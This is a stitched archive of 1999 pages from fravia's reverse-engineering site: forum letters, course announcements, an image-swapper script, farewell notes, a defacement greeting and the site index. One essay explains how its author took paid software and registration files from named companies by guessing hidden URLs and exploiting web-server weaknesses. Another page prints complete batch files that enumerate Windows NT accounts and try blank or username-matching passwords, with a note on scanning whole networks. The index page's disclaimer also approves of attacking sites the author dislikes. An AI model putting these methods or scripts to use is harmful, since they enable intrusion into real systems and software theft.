I'll send you my first lesson in about two days (it is ready, but I need to polish the preface text).

>
> Happy to have you back on board.
> Lotta things to do.
> Let's sail and reverse along!
>
> Later, +brother

http://www.instinct.org/fravia/straine1.htm (12 of 15) [2/7/2001 3:23:47 PM]


straine1.htm: +HCU Millennium Strainer the road to the strainer

> fravia+
>
nice to see you too...

cya
+Aesculapius.

20 JULY 1999
Here goto99co.htm the entrance to the +HCU 1999 courses, by +Aesculapius and other older ones :-)

VoxQuietis' critics (July 1999)


An intersting point: secrecy as cause of decline. I partly agree, with VoxQuietis,
actually. I think I don't need to demonstarte that I don't like at all the idea of
keeping any sort of knowledge "inside a box". Unfortunately we have until now
found no other way to speed up work on some 'delicate' matters without giving at
the same time ammunitions for the lamest sort of hacking & cracking to all the
"script lamerkids" out there. Actually the "strainer" idea itself - take a look at this
year strainer, for instance - is IMO a good way to go public and keep restrict AT
THE SAME TIME.

Dear reversing colleagues,

There is a long thread on accessing the "secret" HCU pages,


which proves a vast interest in the topic, irrespective of
the fact that some people, which are insiders of course,
are quite reluctant having such a topic discussed here.

Nevertheless the interest is here, as the previous discussion


shows, and, in my opinion, it is a interesting one, since
quite a couple of things are treated, that all the visitors
of this messageboard are interested in:

The HCU pages are supposed to contain information on S/W


reverse engineering. They are hidden. So the basic insticts
of every reverser around will be trigged by the mere presence
of these pages.

On the other hand one should ask oneself, what is the actual

http://www.instinct.org/fravia/straine1.htm (13 of 15) [2/7/2001 3:23:47 PM]


straine1.htm: +HCU Millennium Strainer the road to the strainer

matter of both the HCU pages, this year's strainer, and a


possible hacking of the HCU pages? And that's were reflection
comes in, which here usually is called "reality cracking".

I think we all could agree that "cracking" or "S/W reverse


engineering" more or less is targeting on the inner working
of your own computer. Maybe there is a little bit of warez
stuff, too. But in the long run, people are studying at
Fravia's, or at HCU, since they are compelled by the
undercover actions of S/W, e.g. by M$ mm256.dat or word
unique user ID. And of course there is the fascination of
exploring the way someones computer works.

It should be clearly stated, that this interest is very much


different from the classical "hacker", who usually gets is
satisfaction from sniffing inside remote computers. Thus the
hacker is more interested in transmission protocols than in
recovering S/W flow of operation.

And that's the point, where this year's strainer comes in:
Fravia's challenge is much more hacking oriented than all
the strainers were in the past. To put it bluntly, the 1999
strainer will attract a person interested in hacking more
than ever. Thus it should be obvious, that hacking the
HCU pages directly, i.e. without solving the strainer,
becomes an attractive solution.

But still the question is not answered, what would be the


price of hacking the HCU pages, i.e. what kind of information
will be located within the essays/courses. Well, its easy
to speculate on that, but who does really know ...

The principle of sharing knowlege ultimately would demand


to publish all the essential informations. And it would
ask for a quick publication, because even to withhold
information temporarily finally would damage the ethic
constitution of this community.

So it is evident, that secret information in the long run


would give the root of declination of the HCU. Of course
actually there are no signs that things allready started
to move to this direction. But whenever there are things
kept away from the public's eyes, there is an inherent
danger of something I'd like to call the "Freimaurer-syndrome".
Remember that the Freimaurer long time ago tried to advance

http://www.instinct.org/fravia/straine1.htm (14 of 15) [2/7/2001 3:23:47 PM]


straine1.htm: +HCU Millennium Strainer the road to the strainer

democracy (or at least some democratic issues, as free


speech) within secrecy. We all know, where this approach
ended. And we all know, that it due to the internal construction
needed to end like it did.

Best regards
VoxQuietis

You'r deep inside fravia's pages of reverse engineering

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/straine1.htm (15 of 15) [2/7/2001 3:23:47 PM]


goto99co.htm ENTRANCE TO THE +HCU 1999 COURSES

ENTRANCE TO THE +HCU 1999 COURSES


by +Aesculapius and other older ones :-)
Courtesy of fravia's pages of reverse engineering

This is a RESERVED ENTRANCE for those that have passed the +HCU 1998 strainer. The first lesson by
+Aesculapius has been published on the "other side" on 20 July 1999. The second lesson by +Aesculapius has been
published on the "other side" on 07 September 1999. There's no way you can land there short of knowing the name of
the page where the lesson has been published. My function grasppasswd() will just equate the password you will now
enter (you have received it either from me, or from +Greythorne or from +Aesculapius if you are an +HCUker) into
the URL you'll be connected with... if you for instance type bilibin you'll land inside bilibin.htm, which is a nice page,
but it has -alas!- nothing to do with the 1999 lessons by +Aesculapius :-)

NOTE: the redirection will work only on my main


Just click on the gif to get the password
new fortress for security backtracing reasons. It will
entry form...
NOT work on any mirror.
All +HCUkers that have not yet received their passwords should contact (or re-contact) either +Greythorne or
+Aesculapius or myself asap

[First letter 20 July 1999] [Second letter 07 September 1999]

Here follows the beginning of +Aesculapius' letter, where +students will find the first lesson (20 July 1999)...

+HCU Courses 1999: Lesson 1


Win32 Debugging Functions
---------------------------

Dear +HCUckers, I'm glad to be back. The +HCU courses for this year
should be based in full, unconditional cooperation from those who have
proudly weared the '+' symbol before their names to those who recently
acquired it and also to those who will, in a near future. The +HCU is now
a grown up university, we have fully mature crackers capable of developing,
investigate and teach new techniques in the field of software reversing.
I don't pretend to play the main role in this teaching process, just help a bit
in the organization of new challenging assignments with precise objectives
designed to enhance our common knowledge in the reversing field.

This is my proposal for the 1999 courses...

Here follows +Aesculapius' letter, with the second lesson (07 September 1999)...

Dear Fravia+, here you have lesson number 2, for the HCUckers only.

In regard to the attacks towards the Y2K Strainer, it is obviously a

http://www.instinct.org/fravia/goto99co.htm (1 of 2) [2/7/2001 3:23:49 PM]


goto99co.htm ENTRANCE TO THE +HCU 1999 COURSES

maneuver that attempts to destroy the +HCU and not a real complain about
the quality of the Strainer, which I'm sure is leveled enough to pursue
the goal of an appropiate selection of the new HCUckers.

Best Regards
+Aesculapius

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links search_forms +ORC students' essays academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/goto99co.htm (2 of 2) [2/7/2001 3:23:49 PM]


bilibin.htm: The secret entrance to Bilibin's pictures at fravia's

IVAN BILIBIN
The secret entrance to Bilibin's pictures at fravia's
(Updated June 1999)
Warning: Jou'll need to have javascript enabled BEFORE loading this page in order to see the images
[Images] ~ [Biography] ~ [Portrait] ~ [Javascript code used on this page]

Ivan Bilibin ~ Images

Submit your own images, I'll publish them (there are even some 'lost' images around)

Ivan Bilibin ~ Biography

Ivan Yakovlevich Bilibin (1876 - 1942) was a popular Russian graphic artist and stage designer. His illustration
style was influenced by the stylised forms of Russian Folk and Medieval art, in particular embroidery, woodcuts
and illuminated manuscripts. His use of precise lines links him to the graphic work of Art Nouveau. Bilibin is
best known for his work illustrating Russian fairy tales and epic poems, using his particular style to recreate the
magical, colourful world of Russian folklore. He also is known for his illustrations to the works of Pushkin and

http://www.instinct.org/fravia/bilibin.htm (1 of 4) [2/7/2001 3:25:35 PM]


bilibin.htm: The secret entrance to Bilibin's pictures at fravia's

Lermontov. Bilibin's approach to these tales was guided by a strong sense of place. The forests and mountains of
Old Russia were predominant players in images that often provided as many distractions as focal points. He
seemed anxious to incorporate traditional designs and motifs, often as framing devices for illustrations that didn't
require them.

He also did a lot of work for the theatre, designing stunning sets and costumes. Some of the operas he designed
for were The Tale of Tsar Saltan, The Tale of the Golden Cockerel and Prince Igor, and they were staged in the
leading theatres of Petersburg, Moscow, Paris and Prague.

He left Russia in 1920 (at the age of 44) for Egypt, where he set up a studio and lived until 1925. He moved to
Paris for the opening of the World Exhibition at the age of 49. He had a one man show in Prague in 1926 and
helped stage an exhibition of Russian artists in Paris in 1927. He was, by now, an accomplished and sought-after
stage designer and helped stage numerous ballets and operas in Paris, which had its own "Russian Opera Season."
Finally in 1931, at the age of 55, he returned to the illustration of Russian and Oriental fairy tales for a Parisian
publisher.

He returned to Russia in 1936 where he died at the age of 66 in February of 1942. He was in Leningrad during
the German blockade. He left several unfinished projects.

Ivan Bilibin ~ Portrait

http://www.instinct.org/fravia/bilibin.htm (2 of 4) [2/7/2001 3:25:35 PM]


bilibin.htm: The secret entrance to Bilibin's pictures at fravia's

Ivan Bilibin ~ Javascript for the images above

The images are pre-loadeed and the Javascript code for this page looks like this:

// bilimage swapper by fravia+ 1999 (http://www.fravia.org), who was quite


// fedup with swapper of images that had to be all of the same size
<script language="JavaScript">
<!-- HIDE script
// Code below pre-loads images
// WARNING: on the page there must be NO OTHER

http://www.instinct.org/fravia/bilibin.htm (3 of 4) [2/7/2001 3:25:35 PM]


bilibin.htm: The secret entrance to Bilibin's pictures at fravia's

// image before the first 'default' one! (#0)


var image1 = new Image()
image1.src = "bilrk.jpg"
var image2= new Image()
image2.src = "bab2.jpg"
var image3 = new Image()
image3.src = "bilibi_8.jpg"
// ... etcetera...

// When called from a button, this code swaps the images

var bilimage
function swap(bilimage)
{
document.images[0].src = bilimage+".jpg"
}
// UNHIDE -->
</script></head>

<body bgcolor="#ffffff">
<img src="gorham_62k.gif" border=0>
<hr>
<form>
<input type=button onClick="swap('bilrk')" Value="1) Red_Knight">
<input type=button onClick="swap('bab2')" Value="2) Baba_Yaga"><hr width=44>
<input type=button onClick="swap('bilibi_8')" Value="3) bilibi_8">
// ... etcetera...
</form>

homepage links +ORC students' essays anonymity antismut tools javascript galore
counter measures enemy tracking corporate survival search_forms mail_fravia+
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/bilibin.htm (4 of 4) [2/7/2001 3:25:35 PM]


10dec99.htm: two months freezing: great fun

10 december 1999: two months after the "freezing"


two months sailing is far from being enough!

I take the liberty, my dear little reader, of troubling you with the present address, in
order to request a favour, which I hope you will be kind enough to grant, in return
for the pleasure and profit, of which it has been my endeavour to make FRAVIA'S
PAGES OF REVERSE ENGINEERING the vehicle.
The favour which I solicit, is, that you will seriously practise the advice which I give
you: doing all that I command, and avoiding all that I censure; as otherwise, instead
of obtaining the character, to wich I aspire, of a prudent and salutary reverser, I shall,
on the contrary, be accused of putting a number of naughty things into your head,
which is most probable you never think of yourself. Now you should be grateful, for
I do not give this counsel gladly. Reversers have their own labours, and their own
sorrows, and they are little concerned with the ways of hackers, crackers, or any
other creatures upon the web.
OK, admittedly this month's one is more difficult. Especially the exact location of the solution of continuity
(obgleich...). Anyway, as promised, here is the (easy) solution to the previous "november" one (wich,
curiously enough, has been deemed 'pompous speech' by some zombies)... it was of course nothing else than
our good J.R.R.Tolkien, The Lord of the Rings, The King of the golden Hall, duh.
And what about the image? It's a 'fin de sicle' woman of course, and kudos to all those guessing an
advertisement for cigarette papers...
See you all next month on the new site if everything goes well... eheh

http://www.instinct.org/fravia/10dec99.htm (1 of 2) [2/7/2001 3:25:54 PM]


10dec99.htm: two months freezing: great fun

You'r deep inside fravia's pages of reverse engineering, choose your way out:

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/10dec99.htm (2 of 2) [2/7/2001 3:25:54 PM]


10nov99.htm: New avatar meditating on the new site

10 november 1999: one month after the


"freezing"
A new avatar meditating on his new site

A partly burned out portrait of he that was fravia+


10 november 1999
I feel now the cold chill hour before the first stir of dawn, and the moon is low. The shadows are still
deep in the woods. I cannot look too far ahead: I'm glad that the first stage is safely over and I feel free...
and powerful. I think I will rest a while, not only this month, but the next one as well. I hear the laments:
deep he delved us, fair he wrought us, high he builded us; but he is gone. He is gone: he left a month
ago. Yet there are words of hope below, my friends.
First of all: some overdue thanks:
to +Greythorne, my brother, who never fails and will never falter
to +Sandman, the strong squire, who will carry on the (heavy) task on his (uphill) path.
to Kevin, my fortress' keeper against all odds
to the many talented and clever reversers that kept and keep working well
to the older +ones, that after all did show concern
to all my friends (and also to my enemies) for the many things could learn from them
to all crackers and reversers, that I loved and love and will never forget
And now some words of hope: I feel a keen air coming from the future: there I have caught a glint of
hope: the darkness seems to clear, and through a small opening I reckon I can see, high and far, a patch
of shining knowledge.
Not all is dark. Take courage reversers! No counsel have I to give to those that despair. Yet counsel I

http://www.instinct.org/fravia/10nov99.htm (1 of 2) [2/7/2001 3:26:01 PM]


10nov99.htm: New avatar meditating on the new site

could give, and words I could speak to you. Will you find and hear them? They are not for all ears. I bid
you come out before your usual sites and look abroad. Too long have we sat in shadows and trusted to
crooked tales. The coming dawn may be brighter, and if so we shall meet again.

You'r deep inside fravia's pages of reverse engineering, choose your way out:

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/10nov99.htm (2 of 2) [2/7/2001 3:26:01 PM]


mortesub.htm: The belgian meeting

+Fravia's and +Malattia's belgian meeting

The real Mort Subite

You'r deep inside fravia's pages of reverse engineering, choose your way out:

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/mortesub.htm [2/7/2001 3:26:14 PM]


goneaway.htm: The freezing of fravia's site

Fravia+ freezes his site

by fravia+
last courtesy of fravia's pages of reverse engineering
Le 30 aot 1952 naquit, dans une maison bourgeoise de modeste apparence, videmment en Europe, un
garon qui devait devenir une des plus grandes gloires du gnie humain dans le domaine de la science du
software. Du temps qu'il tait sur les bancs de l'cole, Fravia (car c'est de lui qu'il s'agit) ne laissa pas
deviner ce qu'il y avait en lui: cet colier modeste ne montra gure qu'une capacit assez ordinaire dans la
plupart des branches courantes de l'enseignement.
Certainement, ce moment, personne n'eut os pressentir en lui l'homme clbre qu'il devait tre.
Lui-mme cependant, savait parfaitement ce qu'il avait en vue. Un jour que l'instituteur lui demandait
quelle carrire il comptait embrasser, Fravia+ lui rpondit que son plus vif dsir tait de s'adonner
l'tude du reversing. Cette rponse fut accueillie par une explosion de rire de tous les lves.
"Mais on n'tudie pas le reversing!", repliqua l'instituteur, rendant par l l'opinion qui avait cours cette
poque. Et pourtant, il tait rserv au jeune tudiant de convaincre le monde scientifique par ses travaux
ultrieurs que le reversing ne doit pas tre considr comme un art exprimental, mais qu'il doit tre
enseign et appris comme une vritable science. Ce fut lui qui porta le reversing son brillant
dveloppement.

http://www.instinct.org/fravia/goneaway.htm (1 of 2) [2/7/2001 3:26:36 PM]


goneaway.htm: The freezing of fravia's site

Developments and silly puzzles while sailing away


first (one month later: 10 november 1999)
second (two months later: 10 december 1999)

You'r deep inside fravia's pages of reverse engineering, choose your way out:

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/goneaway.htm (2 of 2) [2/7/2001 3:26:36 PM]


vao_hype.htm Fravia's entrance to the Javascript "hyperprotections" section

Fravia's entrance to the Javascript "hyperprotections" section


Figure it out... looking at this Bilibin's picture and at the Javascript code :-)

~ begin encrypted document ~


~ end encrypted document ~

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


search_forms corporate mailFraVia
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reversed

http://www.instinct.org/fravia/vao_hype.htm [2/7/2001 3:26:38 PM]


bab2.htm Fravia's entrance to the Javascript "hyperprotections" section

Help for Fravia's entrance


to the Javascript
"hyperprotections"
section

On the right another picture by the great


master Ivan Bilibin, this one has been
painted exactly 100 years ago :-)

When you have seen enough, clicking on it,


you will go back to the "Hyperprotections"
Javascript entrance from where you most
probably come from...

(If you are interested in Ivan Bilibin's


pictures, you will find many others scattered
around my site. Visit the Goznak Museum,
if you want to see more :-)

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links anonymity +ORC students' essays tools cocktails


search_forms corporate mailFraVia
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reversed

http://www.instinct.org/fravia/bab2.htm [2/7/2001 3:26:56 PM]


sozni_91.htm: The Art of Guessing

The Art of Guessing

Smut sites busting

by .sozni
courtesy of fravia's pages of reverse engineering
(published at fravia's in October 1999, taken from sozni's page)

The Art of Guessing


There are many ways to get registered software. You can buy it, you can get a copy from a friend or
from the internet, you can crack a demo, you can use a serial number, etc. There are so many ways that
if you really want something, you can get it.

I have noticed that many ActiveX controls are updated frequently. For example, DataDynamics has been
posting a new update for ActiveReports every two weeks. If you get a pirated copy or a patch, then you
never really have the most recent version. That's why I prefer licensing my software. And that's what
my essays are about: licensing, not cracking software.

I have already talked about a couple of ways to get licensed. There is another way that I am starting to
use more and more. That is to hack the company's web site. There are may ways to find info on the
company's website. Here are some methods that I use:

- Browse their FTP site looking for hidden directories


- Browse their FTP site looking for stuff out in the open that they have forgotten about
- Use a FrontPage attack (there are many)
- Exploit weaknesses in Active Server Pages
- View the source of pages (especially registering and purchasing online pages)
- And my favorite: Guessing

I can't believe how many sites I have hacked just by guessing stuff. As I mentioned before I got all of the
Winternals Software just by guessing the URL's. I got a password for a protoview install by typing
random keys (I heard someone else had done the same thing). I have found serial number lists, serial
number generators and validators, and user registrations.

It's all there for the taking. The trick is to be really good at guessing. The principle here is that people
are predictable. If someone thinks a certain way one day, most likely they are going to think the same
way the next day. Also, people are usually going to name things with the first thing that comes to mind.

http://www.instinct.org/fravia/sozni_91.htm (1 of 3) [2/7/2001 3:26:58 PM]


sozni_91.htm: The Art of Guessing

For example, if you wanted to created a directory for downloads, what would you call that directory?
And then if you have one directory for demos, what would you call the directory for retail products?

Do see my point? The Amazing Kreskin works on this principle. He asks people to think of a vegetable
and most people will think of a carrot. He asks them to think of a shape then to think of another shape
inside that shape and most of the time he knows what they are thinking. Why? Because people are
predictable.

How many new computer users do you think use their logon as their password? Many. And why do
you think there are so many common password lists on hacking sites? Because a lot of people use these
common passwords. See? They are predictable.

Now if a company has a product named ERD Commander and the information about that product is on a
page called erdcmndr.htm and the demo is named
erdcmndr.exe in the demos directory then what do you think the real product is going to be called? Yep,
erdcmndr.exe (in a different directory, of course).

To get the real version of ERD Commander I looked at the demo at www.sysinternals.com then went to
their retail site, www.winternals.com and downloaded erdcmdr.exe. Of course, I first had to find the
download directory, but that's another story.

And guess what? I just repeated that same process for all of their products. Remember what I said? If
someone thinks a certain way one day, most likely they are going to think the same way the next day.
People are predictable.

Here's another one: Suppose a company has a wep page that allows you to register their software online.
It is called regonline.htm. And let's suppose they are using IIS on Windows NT. And let's suppose they
want all these online registrations to be saved to a text file. What would that file be named and where
would it be located? These would be my first guesses for www.company.com/regonline.htm:

www.company.com/regonline.txt
www.company.com/_private/regonline.txt
www.company.com/_vti_pvt/regonline.txt

Here's another one, Janus Systems has a page to register online in the http://www.janusys.com/Support/
directory. These registrations post to a
text file. Now if your customers were registering their software and these registrations post to a text file
and your company is in Mexico,
what would you call this text file?

My guesses would be:


www.janusys.com/support/registration.txt
www.janusys.com/support/register.txt
www.janusys.com/support/registracion.txt

http://www.instinct.org/fravia/sozni_91.htm (2 of 3) [2/7/2001 3:26:58 PM]


sozni_91.htm: The Art of Guessing

www.janusys.com/support/registra.txt

And you know what? It's the last one (at least it used to be before I first posted this essay on my mailing
list)

The key to guessing is research. Look around at their website and see what they name things and where
they put things. Look at pictures and links and downloads. Do they like cryptic abbreviations? Is there a
method that uses the product version number? Do you see patterns?

Then, just guess. You would be surprised how many times this works. That is, if you have really
mastered the art of guessing.

Copyright 1998 .sozni, all rights reserved. This information must not be duplicated or reproduced without express written permission by the operator of this web
site.

Disclaimer: This information must only be used for academic purposes to study different licensing techniques and must not be used to infring the copyrights of
these companies. It must not be used to pirate software or encourage software piracy or to engage in any illegal activity. All instructions are provided as-is and are
not supported by either the software producers or the owners or operators of this web site or anyone else for that matter. Before using any of these licensing
techniques you must first get approval from the softare producer and/or have already purchased this software.

You'r deep inside fravia's pages of reverse engineering, choose your way out:

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/sozni_91.htm (3 of 3) [2/7/2001 3:26:58 PM]


index_ha.htm: fravia's index page hacked on 1 October 1999

fravia's index page hacked on 1 October 1999


by fravia+
courtesy of fravia's pages of reverse engineering
(published at fravia's in October 1999)
Well, on 01 October 1999 sortof succeded in hacking my front page and substituted my index.htm with this page.
The hack was possible because my username/password combination (against better wisdom... "he does'nt practice what he's
teaching" :-( were both 8 character long (an old tradition I am now completely ridden of :-)
In these cases you can succesfully attack a NT box using following scripts (courtesy of our NT-expert .sozni):

The hack wasn't as elegant as may seem. The attacker took a simple batch file .sozni wrote that tries to connect to an NT box
using username/username then username/"".

The attacker just ran the following batch file on my host and it gave him a login. Then he just did this at a command prompt:

net use \\<your ip>\IPC$ /user:<username> <password>


in case you are interested, here is the text for sozni's 2 batch files (which requires another file: lsuser.exe to work properly):

====TEST.BAT====

@echo Connecting to \\%1...


@net use \\%1\IPC$ "" /user:""
@nbtstat -A %1
@echo Retrieving list of users...
@lsuser -h\\%1 -n > %1.users
@echo Checking passwords...
@net use \\%1\IPC$ /delete
@FOR /F "skip=2" %%a IN (%1.users) DO @For %%b IN (%%a "") DO @(test2.bat %1 %%a %%b)
@del /f %1.users

=====TEST2.BAT=======

@echo Trying to login using %2/%3


@echo *****%2/%3
@net use \\%1\IPC$ /user:%2 %3 && Net use \\%1\IPC$ /delete

=====================
You just run Test <ip> and it gets usernames and tries two passwords then moves on. Very simple but you wouldn't believe
how many thousands of times this works (even on some very big companies).

.sozni usually combines this with a little util +greythorne wrote for him in oredr to scan a whole class C network.

Some better and more complete material can be found on some of the documents by Rhino9.

If you want to visit activeX wizard sozni's page, go ahead.

Choose another page!

http://www.instinct.org/fravia/index_ha.htm (1 of 2) [2/7/2001 3:27:00 PM]


index_ha.htm: fravia's index page hacked on 1 October 1999

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/index_ha.htm (2 of 2) [2/7/2001 3:27:00 PM]


gr33tz z3raw k1dd13s. d03s3nt th1s l00k l33t?

TH3 N3W f0RTR3SS


GR33TZ g0 T0(1n n0 p4rt1cul4r 0rd3r):
fravia and kevin, douby, knotty dread, visions, maybird, rhythm,
ewald, xcalibre, noos, mistere, warezpup, _y, dezm, nitrus, corn,
crackz, icecream, einride, volatility, shannow, sortof, carpathia,
mom, quantum-x, tin, bmonkey, thesmurf, dawai, barkeep, justarius,
inside, risc, elmopio, chronocow, datarescue, ghiri, royce, wusing,
valacar, death, repz, scoobydoo, hutch, cycle, aescupalius, phox,
dread, bisoux, r00ster, zoltan, alphamega,einztein, pitty, fcn, wink,
greythorne, delphic, night, rudeboy, Bob Marley, anarchriz, jokerone,
mammon, steinowitz, tree, sozni, p403, razzia, yo_mama_n, blorght,
numega, bjanes,accz, cracking4newbies, neuraln, ytc, mcp, duelist,
iczelion, yates, darkie, virogen, bill, ebliss, raza, sep, llama and
josephco! missing? sorry!

without furth3r ado, FR4V14


notice: i disclaim everything that ive done blah blah blah

http://www.instinct.org/fravia/hacked.htm [2/7/2001 3:27:01 PM]


(`.(`. Fravia's pages of reverse engineering .).) (preparing reality reversers for the next Millennium)

Oh silly syn-attackers... Fravia fluctuat, nec mergitur


If you enjoy this site, you may be able to help
me
Some mirrors my not work or have obsolete copies of my site: search, peruse, find :-)
scratch pad!
Redirection (States) E-States (Crazyboy) E-Europe (P.Lowe) Asia (Faizal)
(fravia+)
W-Europe: A W-Europe: CH W-Europe: FR multimania
xoom
(Bernd) (Luc) (+tsehp) (Iduchosal)
new fortress! (Kevin) Australia (Peter)
Of course you should visit my Webtwin +Greythorne's site as well

Software
reverse
engineering
and web
survival
arguments

Software protection
techniques and tools
~
Anonymity on the
Web: stalking, enemy
tracking and other

fravia's techniques
~
Reality cracking and
anti-advertisement

http://www.instinct.org/fravia/hacked.html (1 of 6) [2/7/2001 3:27:12 PM]


(`.(`. Fravia's pages of reverse engineering .).) (preparing reality reversers for the next Millennium)

F pages of
techniques and tools
~
How to search the
web: combing, klebing

R reverse and other strategies


~
cookies removal; bots

A engineering and web-spiders


trapping;
anti-Micro$oft and
anti-Netscape scripts
V updated
September
1999
and tricks; tools for
software reverse
engineering;

I cgi-cracking; user
self-defense; corporate
survival counter

A measures; home-pages
capering and
password cracking
techniques;
commercial smut sites
busting; Java applets
Fravia's Nofrill reversing; vxd
Web design
('98,'99) monitoring;
steganographical and
cryptological
reversing matters;
Javascript based site
protection and
deprotection
techniques; email
patterns reversing

On the Web
since 1995!

If you have landed here for the first time, or if you are interested in the history of this site,
read a word to the confused ones before proceeding

http://www.instinct.org/fravia/hacked.html (2 of 6) [2/7/2001 3:27:12 PM]


(`.(`. Fravia's pages of reverse engineering .).) (preparing reality reversers for the next Millennium)

, fravia's residence, European Union


my reader, this labyrinth of pages (you'll never be able to count them all :-) contains many teachings, and
will help you gain knowledge that you will not find elsewhere. Please wander slowly inside: sip a good
cocktail, take your time and explore at a leisurely pace. You'll find lessons on how to reverse engineer
windows, dos, linux and palmtop programs, both in order to protect or to deprotect them (fairly easy,
once you learn it); on how to search the Web using advanced techniques like 'combing' and 'klebing' (not
so easy); on how to gain real information (pretty difficult), on how to track pseudoanonymous people on
the web (fairly difficult), on how to protect your anonymity browsing the Web (quite difficult), on how
to reverse the reality around you (very difficult), on how to destroy web sites you do not like (easy...
given some conditions), on how to use (and detect) steganographical encryptions, on how to reverse or
implement javascript based site protections, on how to annoy spammers, reverse web-agents, trap bots,
write your own spiders and much more. I hope you'll enjoy this visit. Your critics and suggestions are
welcome.
fravia+

__My New Fortress is defended__


Thanking my holy protectors

Oh silly I thank Wizard


syn-attackers... Kevin for his
Fravia fluctuat, mighty protection of
nec mergitur my new fortress

__Disclaimer of liability__
I do disclaim thee, Oh Liability!

All information on my site is published for educational purposes only. You may reverse engineer, debug
or crack only applications or programs you have legitimately bought, and only for your personal use.
You may bomb or nuke only sites and pages that are really lame and/or pathetically commercial-oriented
:-)

Read my short essay: Is reverse engineering legal?

http://www.instinct.org/fravia/hacked.html (3 of 6) [2/7/2001 3:27:12 PM]


(`.(`. Fravia's pages of reverse engineering .).) (preparing reality reversers for the next Millennium)

Special disclaimer
About the part of my site dealing with reversing protection schemes
Please note that I have always been a very sensible person: if any programmer with a legitimate interest
really thinks that an essay published on my site should be removed and put on a non-public part of the
fortress, I usually will comply.
Yet this will hurt the protectors, not the warez-crackers out there: "secrecy" in an Internet polluted with
warez and serial numbers (that I despise) does NOT make any sense: I believe -on the contrary-
maximum transparency to be a very important WEAPON for all software developers and for all
protectors and reversers alike. My site is a forum where anyone can learn HOW software "ticks", WHY
commercial protections do not work and why there are much better things to do with our knowledge than
releasing tons of crackz and warez to the lamers of the world. In fact I believe that you will learn here -if
anything- how to protect better your programs.

__Good browsers and bad browsers__


Which browser are you using, my good reader?

I advice those of you still using Netscape (or, even worse, M$IE) to download and use from now on
Opera, an extremely highly configurable, powerful, easy to reverse and lean (less than a million bytes!)
browser that will let you forget once for all both overbloated browsersaurii and their terrible bugs. Of
course you are allowed to use Netscape on my site (if you do, take care: the best version is -by far-
good old and solide version 3, not the overbloated and buggy versions 4, 4,5 & 5).
Now, please, try to understand: you may NOT use Micro$oft's puke on my site! (Watch it! Some pages
just " play" hostility, some are seriously M$IE hostile, so: don't complain you have not been warned! :-)

__Entrances to fravia's fortress__

"if your browser is poor click on the red..."


N.B.: The essays' database is at the moment NOT being updated

http://www.instinct.org/fravia/hacked.html (4 of 6) [2/7/2001 3:27:12 PM]


(`.(`. Fravia's pages of reverse engineering .).) (preparing reality reversers for the next Millennium)

fravia's past updates researches at fravia's

Read the news!


Fravia's blackboard! Alphabe!

__Fravia's counters and anti-spam links__

I don't use public counters nor public trackers any more, since I can easily track all my visitors wherever
they go (see here a detailed explanation). I'll just keep my own counter above (started in July 1999 and
not working on the mirrors) and the Websitestory counter below, both count only the daily visitors with
"load images" settings who wait patiently at the main entrance of the fortress until the Websitestory
server has planted its cookie (i.e. mostly new visitors). Since I'll never commercialize my site, this is
cool, if a little snob: lotta real visitors (more than 80000 "hits" daily actually, according to my fortress
server's loggings), yet low profile!

__On the way out__


Goodbye, please damage Microsoft

If you are new Faq History Awards Stats

Entrance to Fravia's pages of reverse engineering

This site guaranteed 100% frames and advertisement free, made with full-recyclable electrons, respects
all directives of the European Union regarding environment, please don't litter.
Anyone wishing to use the contents of my site for profit purposes should contact the Editor.

http://www.instinct.org/fravia/hacked.html (5 of 6) [2/7/2001 3:27:12 PM]


(`.(`. Fravia's pages of reverse engineering .).) (preparing reality reversers for the next Millennium)

(c) Fravia, 1995, 1996, 1997, 1998, 1999.


All rights reserved, in the European Union and elsewhere

Ignore this link. It connects to a bunch of phony E-mail addresses to frustrate address-gathering spiders
from the stupid spammers... add such a page to your main page too, and make things more difficult for
the silly commercial oriented idiots. I have also prepared a small page of advices against commercial
spammers.

http://www.instinct.org/fravia/hacked.html (6 of 6) [2/7/2001 3:27:12 PM]


Note to puzzled human readers: This page exists only to frustrate bots which go hunting on Web pages
for addresses to send junk mail to. If everyone added one of these pages, it would make their job much
tougher.
Please note that I've used phony domain names throughout (with a couple of notorious junk domains to
alleviate the boredom), so that bona fide ISP's don't get burdened with this mail, with an important
political exception... due to the fact that more than 95% of the spam we get in Europe is
"States-originated" :-)
Here we go:

John Smith
Fred Jones
Jon Smith
Fredd Jones
John Smiths
Fred Jonesy
John R. Smith
Poor Clone
John D. Smith
Fred E. Jones
John F. Smith
Fred G. Jones
Joohn Smith
Freed Jones
Joh Smith
Fr Jones
Jane Smith
Freda Jones
Hohn Smith
Jred Fones
Tohn Smith
Ared Jones
Bohn Smith
Dred Jones
Pohn Smith
Ffred Jones
Jeohn Smith
Faared Jones
Jkohn Smith
Fired Jones
John Sith

http://www.instinct.org/fravia/phony.htm (1 of 2) [2/7/2001 3:27:13 PM]


Lame fox
A. John Smith
B. Fred Jones
C. John Smith
